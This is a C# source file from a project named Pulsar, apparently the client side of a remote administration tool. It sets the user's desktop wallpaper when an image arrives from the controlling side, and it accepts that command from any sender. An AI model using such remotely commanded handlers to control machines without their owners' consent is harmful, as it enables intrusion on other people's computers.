43 lines
1.4 KiB
C#
43 lines
1.4 KiB
C#
using Pulsar.Common.Messages;
|
|
using Pulsar.Common.Networking;
|
|
using Pulsar.Common.Messages.FunStuff;
|
|
using System;
|
|
using System.Drawing;
|
|
using System.Drawing.Imaging;
|
|
using System.IO;
|
|
using System.Runtime.InteropServices;
|
|
using Pulsar.Common.Messages.Other;
|
|
|
|
namespace Pulsar.Client.Messages
|
|
{
|
|
public class WallpaperHandler : IMessageProcessor
|
|
{
|
|
public bool CanExecute(IMessage message) => message is DoChangeWallpaper;
|
|
|
|
public bool CanExecuteFrom(ISender sender) => true;
|
|
|
|
public void Execute(ISender sender, IMessage message)
|
|
{
|
|
if (message is DoChangeWallpaper changeWallpaperMessage)
|
|
{
|
|
SetWallpaper(changeWallpaperMessage.ImageData, changeWallpaperMessage.ImageFormat);
|
|
}
|
|
}
|
|
|
|
private void SetWallpaper(byte[] imageData, string imageFormat)
|
|
{
|
|
string tempPath = Path.Combine(Path.GetTempPath(), $"wallpaper.{imageFormat}");
|
|
File.WriteAllBytes(tempPath, imageData);
|
|
|
|
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, tempPath, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
|
|
}
|
|
|
|
[DllImport("user32.dll", CharSet = CharSet.Auto)]
|
|
private static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
|
|
|
|
private const int SPI_SETDESKWALLPAPER = 20;
|
|
private const int SPIF_UPDATEINIFILE = 0x01;
|
|
private const int SPIF_SENDCHANGE = 0x02;
|
|
}
|
|
}
|